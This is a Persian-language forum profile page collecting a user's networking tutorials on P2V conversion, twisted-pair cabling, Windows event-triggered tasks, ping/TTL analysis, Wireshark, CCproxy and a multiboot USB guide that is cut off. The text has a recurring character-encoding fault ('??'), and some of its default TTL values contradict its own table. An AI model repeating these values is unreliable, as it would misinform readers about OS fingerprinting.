رفتن به مطلب
انجمن پی سی دی

twinkle

عضو
  • تعداد ارسال ها

    92
  • تاریخ عضویت

  • آخرین بازدید

  • روز های برد

    1

تمامی مطالب نوشته شده توسط twinkle

  1. تبدیل ویندوز یا لینوکس ??یزیکی به ماشین مجازی-معر??ی ابزارها [ATTACH=CONFIG]10457[/ATTACH] سلام به همه شما همراهان همیشگی هیوا در این آموزش می خواهیم ??رایند تبدیل ویندوز یا لینوکس ??یزیکی به ماشین مجازی را به شما دوستان آموزش دهیم. اما برای اینکه با کاربرد آن آشنا شوید 2 سناریو زیر را در نظر بگیرید: سناریو 1: ??رض کنیم شما در شرکت خود یک سرور قدیمی مانند HP Proliant ML 150 G5 با 4 گیگ RAM دارید که بر روی آن ویندوز سرور 2003 نصب کردید و سرویس خاصی را در آن اجرا کردید و در شبکه خود است??اده می کنید. به تازگی نشانه های ناپایداری سرور را مشاهده می کنید؛ مانند هنگ کردن و کند بودن، ریستارت شدن های ناگهانی و مشکلاتی از این دست. شما نگران از کار ا??تادن سرور و در نتیجه از کار ا??تادن شبکه تان هستید. از طر??ی سرور دیگری دارید که خیلی جدیدتر از سرور قبلی است و ظر??یت های سخت ا??زاری بالاتری دارد. مثلا HP Proliant DL380 G7 با 16 گیگ RAM .شما با است??اده از تکنولوژی مجازی سازی، یک سرویس مانند DHCP سرور را در آن راه اندازی کردید و کلی ظر??یت سخت ا??زاری آزاد در آن دارید. حالا در این ??کر هستید که : " کاش می تونستم یه جوری این ویندوز سرور 2003 رو با تمام سرویس هاش همینجوری که هست بیارم روی این یکی سرور " سناریو 2 : می خواهید سیستم عامل ??علیتان و Application های آن را با برنامه ای خاص مورد آزمایش قرار دهید. اما از آنجایی که تست کردن روی سیستم عامل ??یزیکیتان می تواند باعث از آسیب رسیدن به آن و برنامه ها و دیتای موجود در آن شود، به دنبال راهی کم خطر تر هستید تا بتوانید آزمایش خود را انجام دهید. اگر بتوانید همین سیستم عامل و برنامه هایش را به محیط Virtual منتقل کنید عالی می شود! سناریو 3 : شما یک PC در خانه خود دارید با 512 مگ RAM و 128 مگ Graphic که سال ها پیش خریداری کردید. به تازگی دانشگاه گیلان قبول شده اید و پدر و مادرتان برای شما یک لپ تاپ به عنوان هدیه خریدند که بر روی آن ویندوز 8 نصب شده است. حالا باید به دانشگاه بروید و کامپیوتر خانگی، این دوست قدیمی و خسته را تنها بگذارید. اما شما می خواهید هر طوری، سیستم عامل و برنامه های کاربردی آن را با خود داشته باشید. شما در حالی که با لپ تاپ جدیدتان در حال جستجو در اینترنت هستید، مقاله " تبدیل ویندوز ??یزیکی به ماشین مجازی" را می بیبیند که به کمک آن می توانید ویندوز XP را به صورت ماشین مجازی به ویندوز 8 خود منتقل کنید. تبدیل ویندوز یا لینوکس به ماشین مجازی برای VMware VMware ابزار رایگانی با نام vCenter Convertor دارد که می تواند هم ویندوز و هم لینوکس ??یزیکی را به ماشین مجازی تبدیل کند. پس از Convert کردن این سیستم عامل ها به ماشین مجازی، می توانید آن ها را در VMware Player، VMware Workstation و VMware Fusion بوت کنید. برای دانلود vCenter Converter با حجم 168 MBمی توانید به سایت VMware مراجعه کنید. [ATTACH=CONFIG]10458[/ATTACH] پس از دانلود VMware vCenter Convertor، باید آن را بر روی کامپیوتری که می خواهید به ماشین مجازی تبدیل کنید، نصب نمایید دکمه Convert Machine را بزنید سایر مراحل را طی کنید. در مقالات بعدی تبدیل سیستم عامل به ماشین مجازی را به کمک VMware vCenter Converter آموزش خواهیم داد. تبدیل ویندوز به ماشین مجازی برای Hyper-V ??قط سیستم عامل های ویندوزی را می توانید به ماشین مجازی Hyper-V تبدیل کنید. برای تبدیل ویندوز به ماشین مجازی Hyper-V باید ابزار Disk2vhd را با حجم 879 KB دانلود کنید. دانلود Disk2vhd از سایت مایکروسا??ت [ATTACH=CONFIG]10459[/ATTACH] ابزار Disk2vhd می تواند ویندوز در حال کار را به VHD یا Virtual Hard Disk تبدیل کند. VHD ??رمت هارد دیسک مجازی برای مجازی ساز Hyper-V است. این ابزار را بر روی ویندوزی که می خواهید آن را تبدیل کنید اجرا کنید. شما می توانید پارتیشن ها و درایو هایی را هم که می خواهید در این ??ایل VHD قرار بگیرند انتخاب کنید. پس از آن که VHD ساخته شد می توانید آن را به هر کامپیوتر دیگری که خواستید انتقال دهید تحت Hyper-V آن را اجرا کنید. منبع : سایت هیوا شبکه
  2. کابل های Twisted Pair را مهندسی تر بشناسیم. سلام به همه شما دوستان و همراهان همیشگی هیوا در این آموزش می خواهیم کابل های Twisted Pair را بیشتر، بهتر و در کل مهندس مدارانه تر بشناسیم. پس از خواندن این آموزش موارد زیر را خواهید آموخت: با ویژگی های عمومی کابل های Twisted Pair آشنا می شوید. با برخی از اصلاحات تخصصی و تعاری?? آن ها آشنا می شوید. اگر کابل های Twisted Pair را سیم صدا می زدید، از این به بعد به آن ها کابل خواهید گ??ت! با انواع دسته بندی های کابل های Twisted Pair آشنا خواهید شد. ت??اوت های هر دسته از کابل های Twisted Pair را با دیگری یاد می گیرید. یاد می گیرید که واحد اندازه گیری سرعت در انتقال داده Bit Rate است نه پهنای باند. البته ممکن است این ها را از قبل بلد بوده باشید و با خواندن این نوشته، آن ها برای شما یادآوری شوند! کابل Twisted Pair یا زوج به هم تابیده ویژگی های عمومی: تعداد زوج ها بستگی به نوع کابل دارد زوج سیم ها در Twisted Pairبا است??اده از رنگ علامت گذاری شده اند. قطر هر سیم بین 0.4 میلی متر تا 0.8 میلی متر است. همه زوجها به وسیله یک غلا?? پلاستیکی محا??ظت شده اند. تابیده شدن باعث کاهش اثر هم شنواییمی شود. هرچه زوج ها بیشتر تابیده شوند اثر Crosstalk کمتر و کابل گرانتر می شود. ضریب پیچش (Twisted Ratio) به تعداد بار پیچش کابل در واحد یک متر و یا یک ??وت است. هر چه زوج سیم ها بیشتر تابیده شوند پدیده تضعی??بیشتر می شود! براي کاهش اثر هم شنوایی و کاهش پدیده تضعی?? باید تعداد پیچش بهینه باشد. خصوصیات انتقالی کابل Twisted Pair هم براي انتقال سیگنال آنالوگ و هم براي انتقال سیگنال دیجیتال بکار می رود. در انتقال سیگنال آنالوگ در هر 5 تا 6 کیلومتر به آمپلی ??ایر نیاز است. نسبت به محیط انتقال Coax و Fiber محدودیت بیشتري در ??اصله، پهناي باند و حداکثر Bit Rate دارد. برخلا?? Coaxبا توجه به شکل و ساختارش بسیار تحت تاثیر نویز و هم شنوایی است. در انتقال داده دیجیتال ??قط در ??واصل کوتاه (حدود 100 متر) می توان به نرخ داده های 1 Gbpsو اخیرا 40 Gbps دست یا??ت. سوال: Crosstalk یا اثر هم شنوایی چیست؟ چرا با پیچش کابل اثر هم شنوایی کم می شود؟ چرا هرچه پیچش زوج ها بیشتر باشد، کابل گرانتر می شود؟ ضریب پیچش یا Twisted Ratioچه عددي است؟ آیا همه زوج سیم ها درون کابل، ضریب پیچش یکسانی دارند؟ پاسخ پرسش ها بالا: سیگنالی که توسط محیط انتقال ( کابل های Twisted Pair و Coax، ??یبرنوری، امواج) منتقل شده و به مقصد رسیده لزوما همان سیگنالی نیست که در مبدا تولید و ارسال شده است. چرا؟ چون سیگنال (چه آنالوگ و چه دیجیتال) تحت تاثیر اختلالاتی قرار می گیرند. این اختلالات می توانند : توان سیگنال آنالوگ را کاهش دهند. در سیگنال دیجیتال، مقدار 0 را به 1 و برعکس تبدیل کند. اما این اختلال ها چند نوع هستند؟ تضعی?? یا Attenuation اعوجاج یا Distortion نویز یا Noise تضعی?? یا Attenuation چیست؟ کاهش انرژی سیگنال؛ هنگام عبور سیگنال از محیط انتقال بخشی از انرژي سیگنال به دلیل مقاومت محیط، هدر می رود. مثلاً در محیط سیم ممکن است به گرما تبدیل شود. میزان تضعی?? سیگنال به عواملی مانند ??رکانس سیگنال، ویژگی های محیط انتقال مثل جنس سیم و طول سیم و مواردی از این دست وابسته است. اعوجاج یا Distortion چیست؟ تغییرات در شکل و ??رم سیگنال؛ اعوجاع در سیگنال های مرکب که از چندین هارمونی تشکیل شده اند ات??اق می ا??تد. اعوجاج ممکن از نوع تاخیری باشد (Delay Distortion) و یا از نوع Intersymbol Distortion (معادل ??ارسی ندارد). در Delay Distortion هنگامی که سیگنالی ارسال می شود بخشی هایی از سیگنال با تاخیر بیشتری نسبت به بخش های دیگر سیگنال به مقصد برسند. این مساله باعث تغییر ??از سیگنال می شود. Intersymbol Distortion در اثر Delay Distortion به وجود می آید. ??رض کنید جریانی از بیت ها بوسیله سیگنال دیجیتال و یا آنالوگ در حال ارسال باشد.در اثر اعوجاج تاخیري ، برخی از اجزاي سیگنال تشکیل دهنده یک بیت ، ممکن است در مکان بیت دیگري قرار گر??ته و در نتیجه ارزش آن بیت دچار تغییر شود . نویز یا Noise چیست؟ اثری است ناخواسته از منابعی غیر از ??رستنده که باعث تحری?? سیگنال می شود. انواع نویز: نویز حرارتی نویز مدولاسیون داخلی نویز القایی نویز هم شنوایی نویز ضربه نویز هم شنوایی یا Crosstalk تاثیر یک سیم یا کابل بر روي یک سیم یاکابل دیگر؛ در اثر کوپلینگ الکترومغناطیس ات??اق می ا??تد. یک سیم نقش آنتن ??رستنده و دیگري نقش آنتن گیرنده را بازي می کند. وقتی در حال تماس تل??نی صدایی گرچه ضعی?? از مکالمه دیگري را می شنوید مثالی است از نویز هم شنوایی. بررسی نویز Crosstalk در کابل های Twisted Pair هم شنوایی بین زوج سیم های درون کابل. هر زوج سیم در کابل Twisted Pair بر روی زوج سیم های دیگر اثر می گذارد. نویز NEXT و FEXT اثر هم شنوایی را می توان در Near (نزدیک) و یا در Far (دور) اندازه گیری کرد. منبع: سایت هیوا شبکه
  3. برای Event های مهم، Action تعری?? کنید! [ATTACH=CONFIG]10451[/ATTACH] سلام به همه شما همراهان همیشگی هیوا در این نوشته می خواهیم روشی را به شما آموزش دهیم تا به کمک آن بتوانید Event های حساس کامپیوترتان را مدیریت کنید. این Event ها همان هایی هستند که در Event Viewer ویندوز ثبت می شوند و بیشتر از نوع Critical، Error یا Warning هستند و یا مربوط به Event های Security هستند. [ATTACH=CONFIG]10452[/ATTACH] تعری?? Action برای Event یعنی چه؟ یعنی اگر Event یا رویدادی به وقوع پیوست آنگاه کارهای زیر انجام شود. برای هر Event چه Action هایی می توان تعری?? کرد؟ برای هر Event می توان 3 نوع Action تعری?? کرد: Start a program : اجرای یک برنامه یا سکریپت در صورت بروز Event Send an e-mail : ??رستادن Email به مسئول مربوطه در صورت بروز Event این قابلیت در ویندوز 8 حذ?? شده است. برای است??اده از آن باید از خط ??رمان است??اده کنید و یا با تر??ند هایی آن را برگردانید. Display a message : نمایش یک پیام در صورت بروز Event این قابلیت در ویندوز 8 حذ?? شده است. برای است??اده از آن باید از خط ??رمان است??اده کنید و یا با تر??ند هایی آن را برگردانید. چرا باید برای Event ها Action تعری?? کنیم؟ همانطور که می دانید ویندوز روزانه تعداد زیادی Event را به ثبت می رساند که شامل مواردی مانند: نصب یا حذ?? نرم ا??زارها، آپدیت ها، Crash کردن نرم ا??زار ها، Log on و Log off کردن User ها، Start یا Stop شدن Service ها و مواردی از این دست می باشد. در مورد Event ها چند نکته قابل توجه وجود دارد: 1- برای اطلاع از Event های ثبت شده مجبوریم که به Event Viewer سر بزنیم. 2- ممکن است در یک روز تعداد بسیار زیادی Event نه چندان مهم ثبت شود و Event های مهم در لابه لای آن ها گم شوند. 3- ممکن Event مهمی رخ دهد که نیازمند واکنش سریع نسبت به آن باشد. با توجه به موارد بالا نیاز داریم که برای Event ها Action تعری?? کنیم. چگونه برای Event ها Action تعری?? کنیم؟ سناریو: من می خواهم هرگاه کسی به منابع Share شده من دسترسی پیدا کرد، در خط ??رمان، پیامی با متن زیر برای من نمایش داده شود: ! Hiva! Unauthorized Access to your Shared Resources سپس کامپیوتر پس از 10 دقیقه Restart شود. برای انجام این کار، کارهای زیر را باید انجام دهیم: 1 – برای وقتی که کسی به منابع Share وصل می شود در ویندوز Event ثبت شود، باید یک Policy محرمانه را در ویندوز ??عال کنیم که آموزش آن از لینک زیر قابل دسترسی است. ??عال کردن Policy محرمانه 2 – وارد Event Viewer شوید. [ATTACH=CONFIG]10453[/ATTACH] 3 – در Event Viewer وارد مسیر زیر شوید: Windows Logs > Security 4 – بر روی Log با مشخصات زیر راست کلیک کنید و گزینه Attach a Task To this Log را انتخاب کنید. Keyword: Audit Success Source: Microsoft windows security Event ID: 5145 Task Category: Detailed File Share [ATTACH=CONFIG]10454[/ATTACH] 5 - در این مرحله یک نام برای این Task تعری?? کنید. [ATTACH=CONFIG]10455[/ATTACH] 6 – در بخش بعد به شما نشان می دهد که برای چه نوع Event ای درحال تعری?? Action هستید. [ATTACH=CONFIG]10456[/ATTACH] همان طور که می بینید این بخش Disable و غیر قابل تغییر است. 7 – در مرحله بعد بر روی Start a program کلیک کنید. منبع : سایت هیوا شبکه
  4. از ??رمان Ping چه اطلاعاتی می توان به دست آورد؟ [ATTACH=CONFIG]10449[/ATTACH] سلام به همه شما همراهان همیشگی هیوا در این آموزش می خواهیم به آنالیز خروجی ??رمان Ping بپردازیم تا بتوانیم پاسخ این پرسش ها را بدهیم که: چرا Ping می کنیم؟ چرا ??ایروال ها جلوی Ping را می گیرند؟ مگر Ping چه اطلاعاتی به ما می دهد؟ روش های دیگر Ping کردن چه هستند؟ چه ابزارهایی برای Ping کردن وجود دارد؟ برای اینکه به پرسش های بالا پاسخ دهیم به مثال زیر توجه کنید: ??رض کنید علی با شماره دانشجویی 1 می خواهد در مورد ??ردی با شماره دانشجویی 2 اطلاعات به دست آورد. او در محوطه دانشگاه با صدای بلند می گوید: آیا دانشجویی با شماره دانشجویی 2 هست؟ 2 حالت ساده زیر ات??اق می ا??تد: ??رد با شماره دانشجویی 2 آنجاست و می گوید بله من هستم پاسخی نمی شنوید. نتایج این 2 حالت: حالت اول: ??ردی با شماره دانشجویی 2 وجود دارد و در حال حاضر آنجاست زنده است و حر?? می زند از صدای او می توانید جنسیتش را تشخیص دهید که آقاست یا خانم. می توانید در پرسش بعد نام او را بپرسید و اطلاعات بیشتری به دست آوردید! حالت دوم: چنین ??ردی وجود ندارد چنین ??ردی ممکن است وجود داشته باشد اما: الان خواب باشد. سرش شلوغ بوده و نتوانسته جوابتان را بدهد. صدایتان را شنیده ولی به شما اهمیت نداده و جوابتان را نداده است. ??رد از شما دور است و صدای شما آنقدر بلند نیست که به او برسد. صدایتان را شنیده ولی در جایی است که نمی تواند جوابتان را بدهد و یا کسی جلوی آن را می گیرد. Ping کردن کامپیوتر ها در شبکه هم مانند صدا کردن ا??راد است. همانطور که در بالا دیدید نتایج گوناگونی در صدا زدن می توان گر??ت که مشابه آن در Ping کردن وجود دارد. همانطور که روش های گوناگونی برای صدا کردن ا??راد وجود دارد، روش های گوناگونی هم برای Ping کردن وجود دارد. مانند یواشکی صدا کردن،با صدای بلند صدا کردن، سنگ پرت کردن و ... خب حالا بیایید با Ping کردن یک IP شروع کنیم. من در اینجا آدرس 192.168.1.3 را Ping می کنم. [ATTACH=CONFIG]10450[/ATTACH] از خروجی بالا چه اطلاعاتی می گیریم؟ در نگاه اول: در نگاه اول می ??همیم با مقصدی که IP آن را Ping کردیم ارتباط داریم. در بسیاری از موارد ( تقریبا 95.76%) از Ping ??قط به همین دلیل است??اده می کنیم. همین که بدانیم با مقصد ارتباط داریم برایمان کا??ی است. در نگاه دوم: در این نگاه هم به احتمال زیاد به نتایج نگاه اول می رسیم !! در نگاهی موشکا??انه: به نتایج زیر می رسیم: کامپیوتر مقصد روشن است و ما با هم ارتباط داریم. Reply + Time + TTL به احتمال ??راوان سیستم عامل کامپیوتر مقصد ویندوز است! TTL=128 ما در یک LAN هستیم. TTL = 128 و Time = 1ms ارتباط ما با مقصد کمی کند است. احتمالا ارتباط از نوع Wireless است یا مقصد و یا Switch های میانی سرشان شلوغ بوده است. ??ایروال مقصد خاموش است و یا File and Printer Sharing او روشن است. اما چطوری به نتایج بالا رسیدیم؟ مورد اول: Ping پاسخ های گوناگونی دارد. پاسخی که مانند بالا همراه با Reply، Time و TTL باشد به این معناست که کامپیوتر صدای ما را شنیده، و پس از مدتی پاسخ ما را داده است. مورد دوم: TTL یا Time To Live چیست ؟ TTL یا Time To Live به این دلیل است??اده می شود تا از سرگردان شدن بسته هایی که ممکن است در گردابی از Router ها گیر بی??تند جلوگیری کند. است??اده از ??یلد TTL اساس کار ??رمان Tracert در شناسایی hop ها است. Packet ها به ازای عبور از هر hop باید حداقل یک TTL بپردازند. Default TTL چیست؟ به طور خاص هر سیستم عامل یا Device ای از یک عدد خاصی برای TTL دادن به Packet های ارسالی خود است??اده می کند. مثلا : Windows بسته های خود را با TTL=128 ارسال می کند. Ubuntu بسته های خود را با TTL=192 ارسال می کند. MAC یسته های خود را با TTL=254 ارسال می کند. مودم ها یسته های خود را با TTL=254 و یا TTL=64 ارسال می کنند. Printer های تحت شبکه یسته های خود را با TTL=254 ارسال می کنند. ما می توانیم از این عدد های پیش??رض به عنوان راهنمایی برای تشخیص سیستم عامل مقصد است??اده کنیم. مثلا وقتی ما ??ردی را صدا می زنیم و او پاسخ می دهد، از صدای او می توانیم تشخیص دهیم که او خانم است یا آقا، پیر است یا جوان.در جدول زیر لیستی از TTL های Default را برای سیستم عامل های پرکاربرد می بینید: [TABLE=width: 319, align: center] [TR] [TD]Operating System [/TD] [TD]TTL [/TD] [/TR] [TR] [TD]Linux Kernel 2.4 and 2.6 [/TD] [TD]64 [/TD] [/TR] [TR] [TD]Google Linux [/TD] [TD]64 [/TD] [/TR] [TR] [TD]FreeBSD [/TD] [TD]64 [/TD] [/TR] [TR] [TD]Windows XP [/TD] [TD]128 [/TD] [/TR] [TR] [TD]Windows Vista and 7 Server 2008 [/TD] [TD]128 [/TD] [/TR] [TR] [TD]iOS 12.4 Cisco Routers [/TD] [TD]255 [/TD] [/TR] [/TABLE] مورد سوم: از آن جا که مقصد ویندوزی است و TTL=128 است یعنی بسته ها از هیچ Hop ای عبور نکرده اند، پس یعنی در همین محل هستند ( یعنی در یک LAN هستیم. ) همچنین زمانی Packet ها در Time=1 ms به ما می رسند که در یک LAN باشیم. (هر چند خیلی ساده تر از این هم می توانیم ب??همیم که در یک LAN هستیم.) منبع : سایت هیوا شبکه
  5. چگونه با Wireshark شبکه یاد بگیریم؟ سلام به همه شما دوستان و همراهان همیشگی هیوا همانطور که در آموزش "آشنایی با نرم ا??زار Wireshark" خواندید (و یا از قبل می دانستید) یکی از کاربردهای نرم ا??زار آنالیزگر وایرشارک، یادگیری شبکه با است??اده از آن است. همانطور که یکی از کاربرد های برنامه های مجازی ساز مانند VirtualBox و VMWare Workstation راه اندازی محیط تست و آزمایشگاه برای مصار?? آموزشی است. در این آموزش کاربردی می خواهیم به صورت عملی یاد بگیریم که با Wireshark یاد بگیریم شبکه را. با Wireshark چه چیزهایی می توانیم یاد بگیریم؟ در یک جمله: پورت ها و پروتکل ها. در دوره Network+ می خوانیم که شکل گیری ارتباط با دست تکانی سه مرحله ای آغاز می شود. می خوانیم که DNS از پورت 53 است??اده می کند. می خوانیم که درخواست های DNS ای به صورت UDP ارسال می شود. می خوانیم که کلاینت ها به روش Broadcast از یک دیگر آدرس MAC هم را می پرسند. می خوانیم که Netbios از پورت های 137 و 138 است??اده می کند. و خیلی چیزهای دیگر. اما همه این ها را خواندیم! ندیدیم که! و شنیدن کی بود مانند دیدن! حالا چطور می توانیم ببینیم؟ با Wireshark. و اینگونه دانسته های ما تثبیت می شود و ما خیلی بهتر و عمیق تر یاد می گیریم. با Wireshark چطوری باید یاد بگیریم؟ چیزهایی که می خواهیم یاد بگیریم در حقیقت بلدیم ولی می خواهیم به طور خاص آن ها را آزمایش کنیم! یعنی چی؟ مثلا سناریوی زیر را در نظر بگیرید: سناریو: بررسی ??رآیند Ping کردن یک نود در شبکه با Wireshark. می دانیم که وقتی در Windows یک IPv4 را Ping می کنیم، 4 بسته 32 بایتی از نوع ICMPv4 به آن IP ارسال می شود و مقصد پاسخ بسته ها را می دهد. حالا چندتا مساله که با Wireshark می توانیم بررسی کنیم: آیا واقعا ویندوز 4 بسته می ??رستد؟ نکنه دروغ بگه و یکی ب??رسته! هر Packet ای، آدرس گیرنده و ??رستنده دارد. آیا این 4 بسته هم دارند؟ آیا واقعا و دقیقا این بسته ها 32 بایتی هستند؟ آیا واقعا از پروتکل ICMP است??اده شده؟ یه وقت از HTTP است??اده نکرده باشه! این 4 تا بسته ICMP به کدام پورت کامپیوتر مقصد ارسال شدند؟ (اصلا مگه ICMP به پورت خاصی ارسال میشه؟ مگه ICMP یک پروتکل در لایه 3 از مدل OSI نیست؟ در لایه 3 که شماره پورت نداریم!) ویندوز از کجا ??همید TTL=50 ؟ نکنه از خودش عدد گذاشته باشه! دقیقا چه اطلاعاتی توی بسته های 32 بایتی وجود داره؟ آغاز ??رایند بررسی با Wireshark: گام نخست:Wireshark را اجرا کنید و کارت شبکه مورد نظرتان را انتخاب کنید. گام دوم: خط ??رمان CMD را باز کنید و یک IP یا یک سایت را Ping کنید. پنجره CMD جایی باشد که در هنگام Ping کردن، بتوانید ص??حه Wireshark را هم ببینید. در خروجی Wireshark چه می بینیم؟ 8 بسته از نوع ICMP ·4 بسته به عنوان Request و 4 بسته به عنوان Reply. پس از هر Request، پاسخ یا Reply آن دریا??ت شده. سپس Request جدیدی ارسال شده. یک سری Packet های دیگر هم می بینیم (از نوع ARP، IGMPv2، RIPv2) منبع : سایت هیوا شبکه
  6. twinkle

    تفاوت bios و uefi چیست؟

    سلام مرسی شمام مو??ق باشید از طریق لینک تلگرام میتونید هر روز از یک آموزش کاربردی جدید بهره مند بشید. https://telegram.me/joinchat/BUm8LjzWuSS8uzC6s9rQhw
  7. آشنایی با نرم ا??زار Wireshark سلام به همه شما دوستان و همراهان همیشگی هیوا در این آموزش می خواهیم نرم ا??زاری را به شما معر??ی کنیم که به احتمال زیاد اگر با آن کار نکرده باشید ولی حتما نام آن را شنیده اید؛ Wireshark. از آنجایی که کار های زیادی می توان با Wireshark انجام داد و جزء نرم ا??زار های پرطر??دار هم هست، تصمیم گر??تیم آموزش های کاربردی و البته عملی در رابطه با آن بسازیم. آموزش "آشنایی با نرم ا??زار Wireshark" اولین آموزش از این سری خواهد بود. بریم سراغ اصل مطلب ... Wireshark چیست؟ Wireshark ابزاری است بس قدرتمند در تحلیل و آنالیز ترا??یک و پروتکل های شبکه. به کمک Wireshark می توانیم ترا??یک شبکه را Capture کنیم و درون ترا??یک های در حال Capture شدن، به جستجو بپردازیم. ویژگی های عالی و یگانه وایرشارک و سادگی کار با آن باعث شده تا به پرطر??دارترین ابزار آنالیزگر ترا??یک شبکه در بین متخصصین شبکه و امنیت تبدیل شود. Wireshark را می توان بر روی پلت??رم های Windows، OS X، Linux و UNIX اجر کرد. Wireshark به صورت رایگان و Open Source در دسترس است و می توانید آخرین نسخه آن را برای پلت??رم های گوناگون از سایت https://www.wireshark.org دانلود کنید. این برنامه به طور پیش??رض بر روی Kali Linux نصب است. Wireshark به چه دردی می خورد؟ از Wireshark برای Troubleshooting و خطایابی در شبکه تست مشکلات امنیتی تجزیه و تحلیل و توسعه پروتکل ها انجام عملیات هک و آموزش شبکه و امنیت است??اده می شود. پس ??قط یک متخصص باتجربه می تواند از Wireshark است??اده کند و این ابزار به درد ا??راد تازه کار نمی خورد؛ مگه نه؟ نه! Wireshark ابزاری بسیار تخصصی است و برای سر درآوردن از آن و ??هم اطلاعاتی که نمایش می دهد باید دانش و شناخت کا??ی از شبکه، مدل OSI و پروتکل های آن را داشت اما این به این معنا نیست که ا??راد تازه کار نتوانند از Wireshark است??اده کنند و یا ??علا به آن نیازی نداشته باشند. ات??اقا wireshark یکی از بهترین ابزارها در یادگیری شبکه است و تازه کارانی که می خواهند شبکه یاد بگیرند با Wireshark بهتر، سریعتر و عمیق تر شبکه را خواهند ??همید. در این آموزش و آموزش های بعدی یاد می گیریم که چطور یاد بگیریم با Wireshark شبکه را ! پس اگر شما هم دوست دارید بهتر و عمیق تر شبکه را یاد بگیرید همچنان هیوا را همراهی کنید. این هشدار را جدی بگیرید: اگر واقعا می خواهید یاد بگیرید باید عمل کنید. دوستی می گ??ت: با خواندن مقاله پرورش اندام، اندام شما نمی پَروَرَد! بنابراین برای این که واقعا یاد بگیرید حتما باید هر آنچه را که می خوانید اجرا کنید. شروع کار: برای شروع باید wireshark را از سایت Wireshark.org دانلود کنید. نصب نرم ا??زار Wireshark: پس از دانلود نوبت به نصب نرم ا??زار می رسد. برای نصب Wireshark کا??ی است Next ها را بزنید. تصاویر زیر بخش هایی از مراحل نصب Wireshark 2.0.0 است. در این مرحله Component هایی را که می خواهید نصب شوند، انتخاب کنید. با بردن Mouse بر روی هر آیتم، توضیحی در مورد آن در قسمت Description نمایش داده می شود. در اینجا ما همه Component ها را انتخاب کردیم. در این قسمت تصمیم می گیریم که کدام Shortcut ها ایجاد شود. همچنین تصمیم می گیریم که ??ایل های با پسوند های ذکر شده با کدام برنامه Wireshark باز شوند؟ با Wireshark نسخه ??علی یا Wireshark قدیمی (Legacy) یا هیچکدام؟ در این مرحله باید تعیین کنید که WinPcap نصب شود یا نه. WinPcap نسخه ویندوزی libpcapاست. WinPcap دارای ابزارهای لازم به همراه یک درایور برای Capture کردن Packet هاست. Wireshark و Tshark از libpcap و WinPcap برای ثبت و ضبط Packet ها است??اده می کنند. همانطور که از نام USBPcap پیداست ابزاری است برای Capture کردن ترا??یک از پورت USB. اگر تمایل دارید ترا??یک USB را هم Capture کنید، USBPcap را هم نصب کنید. *** در برخی موارد ممکن است نصب USBPcap باعث ایجاد مشکل شود. پس از کلیک بر روی Install، چندین مرحله دیگر هست که باید Next کنید. در پایان سیستم را Restart کنید. منبع :سایت هیوا شبکه
  8. آموزش نرم ا??زار CCproxy با آموزش نرم ا??زار CCproxy یک نرم ا??زار پرکاربرد جهت به اشتراک گذاری اینترنت و پهنای باند در خدمت شما عزیزان هستیم.این نرم ا??زار برخلا?? سادگی، بسیار قوی و پرکاربرد است . نرم ا??زار CCproxy یک سرور proxy برای windows می باشد.این نرم ا??زار قابلیت پشتیبانی از اتصالات broadband، DS،??Dial up، ??یبر نوری، ماهواره، ISDN و DDN را داشته و به شما کمک می کند تا اینترنت و پهنای باند شبکه را به اشتراک بگذارید.این نرم ا??زار همچنین میتواند به عنوان سرورهای پروکسی HTTP، Mail، FTP، *****، telnetوHTTPS ای??ای نقش کند.همچنین دارای قابلیت هایی نظیر کنترل دسترسی به اینترنت، مدیریت کاربر،Web ******ing و کنترل زمانی است.ccproxy هم اکنون 50000سرور و1000000کلاینت را در سراسر دنیا پشتیبانی می کند . در ادامه به چگونگی است??اده از این نرم ا??زار می پردازیم. نکته ی قابل ذکر این است که بهتر است این نرم ا??زار را به صورت license تهیه ??رمایید تا به راحتی بتوانید از آن است??اده کنید. نصب این نرم ا??زار به صورت زیر انجام می شود: بر روی Setup نرم ا??زار کلیک می کنیم و ص??حه ی اولیه ی آن نمایش داده می شود و برای ورود به ما خوش آمد می گوید. بر روی گزینه ی Next کلیک می کنیم. در این قسمت لازم است که محل ذخیره سازی این نرم ا??زار را مشخص کنیم که ما در اینجا درایو C را انتخاب کرده ایم. گزینه ی Create a Quick Launch icon را انتخاب می کنیم تا بر روی desktop ما قرار گیرد. در این قسمت هم بر روی گزینه ی Next کلیک می کنیم. بر روی گزینه ی Install کلیک کرده تا نرم ا??زار شروع به نصب کند. و در آخر گزینه ی Finish را انتخاب کرده و مراحل نصب به پایان می رسد. پس نصب نرم ا??زار پنجره ی اصلی آن مطابق شکل زیر نمایش داده می شود. ابتدا به گزینه ی Options نگاهی می اندازیم. در این پنجره سرویسهایproxy و پروتکلهای مختل?? به همراه شماره ی پورتشان نشان داده شده اند که میتوان هرکدام را ??عال یا غیر ??عال کرد. در قسمت Local IP Addrress باید آدرس IP کامپیوتری که سرویس پروکسی روی آن اجرا می شود را وارد کنیم.بنا براین تیک Auto Detect را برداشته وIP سرور را وارد می کنیم. در قسمت پایین گزینه ی NT سرویس را مشاهده می کنیم.این سرویس این امکان را می دهد تا proxy قبل از logon روی کلاینت ها اجرا شود.حتی اگر نرم ا??زار روی سرور اجرا نشود باز هم proxy روی کلاینت ها اعمال می شود. در نهایت روی OK کلیلک می کنیم. برای تعری?? کاربران مجاز برای دسترسی به اینترنت وتنظیم محدودیت هایشان روی گزینه یAdvanced کلیک می کنیم. پنجره ی زیر نمایش داده می شود. در قسمت permit category اگر گزینه permit all انتخاب شود، در این صورت تمامیکاربران متصل به شبکه به اینترنت دسترسی خواهند داشت.اما در صورتی که بخواهیم اینترنت را بین ا??رادی خاص به اشتراک بگذاریم از گزینه ی Permit only است??اده می کنیم. منبع: سایت هیوا شبکه
  9. آموزش ساخت ??لش مالتی بوت شاید برای شما هم ات??اق ا??تاده باشد که یکی از دوستان یا آشنایان شما که هیچ سر رشته ای از کامپیوتر ندارد از شما می خواهد که کامپیوتر او را نجات دهید ! کامپیوتر او داری این مشخصات است : 1- کامپیوتر او حاوی اطلاعات خیلی مهمی است که نمی خواهد آنها را از دست بدهد 2- می خواهد از سیستمش BackUp داشته باشد. 3- یکی از پارتیشن های سیستمش Hidden شده که حاوی اطلاعات مهمی است 4- کامپیوتر او خیلی کند شده است 5- سیستم او آنتی ویروس ندارد ( پس حتما ویروسی بودن دلیل کندی کامپیوتر اوست) 6- او پسوردی بر روی کامپیوترش گذاشته و اکنون یادش نیست و نمی تواند Login کند 7- او بعد از خدا ، امیدش به شماست ! 8- و در نهایت کامپیوتر او CD/DVD Writer ندارد !!! حالا شما می خواهید که کامپیوتر این شخص را نجات دهید. شما یک کامپیوتر با ویندوز 7 نسخه Ultimate که نرم ا??زار PowerISO هم بر 